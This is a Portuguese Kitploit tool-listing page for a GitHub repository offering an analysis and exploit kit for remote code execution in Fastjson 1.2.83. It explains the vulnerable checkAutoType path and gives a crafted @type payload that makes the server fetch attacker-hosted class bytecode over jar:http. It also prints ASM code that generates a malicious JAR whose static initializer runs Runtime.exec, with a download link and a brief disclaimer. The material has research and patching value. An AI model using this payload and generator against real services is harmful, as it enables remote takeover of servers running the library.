Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
fastjson-cve-2026-16723 — Análise detalhada do CVE-2026-16723 e kit de exploração para RCE no Fastjson 1.2.83, cobrindo caminhos de código vulneráveis, geração de JAR/bytecode malicioso e um ambiente Docker Compose para reproduzir o ataque. | Kitploit
Ferramentas/GitHubGitHub/learner330/fastjson-cve-2026-16723
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHub

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
learner330/fastjson-cve-2026-16723

fastjson-cve-2026-16723

Análise detalhada do CVE-2026-16723 e kit de exploração para RCE no Fastjson 1.2.83, cobrindo caminhos de código vulneráveis, geração de JAR/bytecode malicioso e um ambiente Docker Compose para reproduzir o ataque.

Ver Repositório
522há 2 mesesAinda não revisado
Compartilhar

Aviso legal: Este projeto destina-se exclusivamente a pesquisa de segurança e fins de aprendizagem em ambientes autorizados. É proibido testar sistemas não autorizados; as consequências do uso são de responsabilidade exclusiva do usuário.


Análise da vulnerabilidade de execução remota de código no Fastjson 1.2.83 (CVE-2026-16723)

CVSS 9.0, afeta Fastjson 1.2.68 ~ 1.2.83. Não é necessário ativar o AutoType, nem Gadget de terceiros; a configuração padrão já permite a exploração.


I. Visão geral do mecanismo da vulnerabilidade

O ponto de entrada da vulnerabilidade está em com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Independentemente de a chamada ser JSON.parse(body) ou JSON.parseObject(body, Foo.class), o fluxo sempre acaba entrando nesse método.

Caminho crítico do código (fastjson 1.2.83):

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

    // ① 黑白名单检查——autoTypeSupport=false 时整段跳过
    if (autoTypeSupport || expectClassFlag) { ... }

    // ② @JSONType 注解探测
    boolean jsonType = false;
    InputStream is = null;
    try {
        String resource = typeName.replace('.', '/') + ".class";
        if (defaultClassLoader != null) {
            is = defaultClassLoader.getResourceAsStream(resource);
        } else {
            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
        }
        if (is != null) {
            ClassReader classReader = new ClassReader(is, true);
            TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
            classReader.accept(visitor);
            jsonType = visitor.hasJsonType();
        }
    } catch (Exception e) { }
      finally { IOUtils.close(is); }

    // ③ 类型加载
    if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }

    // ④ jsonType=true 时跳过所有后续检查
    if (clazz != null) {
        if (jsonType) {
            return clazz;
        }
        // denyList 检查、硬编码拦截、isAssignableFrom ...
    }
}

O switch AutoType (autoTypeSupport) controla apenas ① se entra, mas ② a detecção de anotações é executada incondicionalmente. Assim que jsonType em ② se torna true, ③ o carregamento de tipo e ④ a omissão da verificação de segurança serão acionados sucessivamente.


II. Análise segmentada da cadeia de ataque

2.1 typeName → resource

String resource = typeName.replace('.', '/') + ".class";

typeName é o valor de @type no JSON, totalmente controlável pelo atacante. A intenção original era converter com.example.Foo em com/example/Foo.class, mas quando a entrada é uma URL, isso se torna um construtor de URL.

Como o . no hostname também é substituído, o atacante usa IPs inteiros para contornar. O inteiro sem sinal de 32 bits de 127.0.0.1 é 2130706433:

输入:  jar:http:..2130706433:8000.probe!.EvilPayload
 ↓ replace('.', '/')
输出:  jar:http://2130706433:8000/probe!/EvilPayload.class

.. → //,.probe! → /probe!/,obtendo um localizador de recurso jar:http:// válido.

2.2 getResourceAsStream

is = defaultClassLoader.getResourceAsStream(resource);

Se getResourceAsStream consegue resolver jar:http:// como um recurso remoto depende inteiramente do tipo de ClassLoader:

ClassLoaderComportamento
JDK AppClassLoaderprocura apenas no classpath local → null
Tomcat WebappClassLoader (WAR independente)procura apenas em WEB-INF/lib → null
Spring Boot LaunchedURLClassLoader (fat-JAR)suporta jar:http:// → sai por HTTP para buscar o bytecode

Há aqui um ponto que facilmente causa confusão: quando o Tomcat está embutido no Spring Boot, o ClassLoader das classes da aplicação é o LaunchedURLClassLoader e não o WebappClassLoader. Portanto, o Tomcat/Jetty/Undertow embutidos estão todos dentro do âmbito afetado.

Quando is != null, o bytecode da classe remota hospedada pelo atacante já entrou na memória da JVM.

2.3 Sonda ASM

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

Fastjson usa ASM para escanear o bytecode e verificar se ele contém a anotação @com.alibaba.fastjson.annotation.JSONType. O objetivo de design era a otimização de desempenho — identificar rapidamente, por meio da anotação, os tipos gerenciados pelo Fastjson. Porém, aqui apenas se verifica se a anotação existe, sem validar a origem do bytecode, sem verificar o nome da classe e sem restringir a origem. Basta que a class remota do atacante carregue @JSONType para obter a determinação jsonType=true.

Observe que catch (Exception e) {} está vazio — o atacante não receberá nenhum erro.

alt text

2.4 loadClass

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

jsonType=true já satisfaz a condição. loadClass segue o fluxo padrão de carregamento de classes, registrando o bytecode como um objeto Class da JVM através de defineClass.

É necessário distinguir dois conceitos: defineClass conclui a definição da classe (registro na JVM), enquanto <clinit> é executado na fase de inicialização da classe. As duas fases podem ser concluídas dentro da mesma requisição, mas, segundo a especificação da JVM, elas são independentes.

2.5 return clazz

if (jsonType) {
    return clazz;
}

Esta linha ignora todas as defesas subsequentes:

  • Interceptação hardcoded de ClassLoader/DataSource/RowSet
  • Lista de bloqueio denyList
  • Verificação de tipo expectClass.isAssignableFrom(clazz)

Isso também explica por que parseObject(body, Dto.class) não consegue impedir: a verificação de vinculação de tipo ocorre após o carregamento da classe, enquanto o código de ataque já foi executado na fase de carregamento.


III. Construção do Payload

O atacante precisa gerar um arquivo de bytecode que satisfaça três condições: portar a anotação @JSONType, incorporar o código de ataque em <clinit> e ser hospedado via HTTP.

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
        "EvilPayload", null, "java/lang/Object", null);

// 过 ASM 探针
cw.visitAnnotation(
    "Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();

// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
        "<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
        "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
        "java/lang/Runtime", "exec",
        "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);

// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());

A lógica maliciosa é acionada por meio de <clinit>, executada assim que a classe é carregada.


IV. Conclusão

A essência desta cadeia é transformar a sondagem de anotações do Fastjson em um carregador de classes remoto. O atacante controla o valor de @type, constrói uma URL por meio de conversão de string, utiliza getResourceAsStream para iniciar um SSRF e buscar o bytecode, passa pela verificação da sonda ASM com a anotação @JSONType, conclui a definição da classe via loadClass e, por fim, contorna todas as verificações de segurança com return clazz.


Links de referência

Baixar ferramenta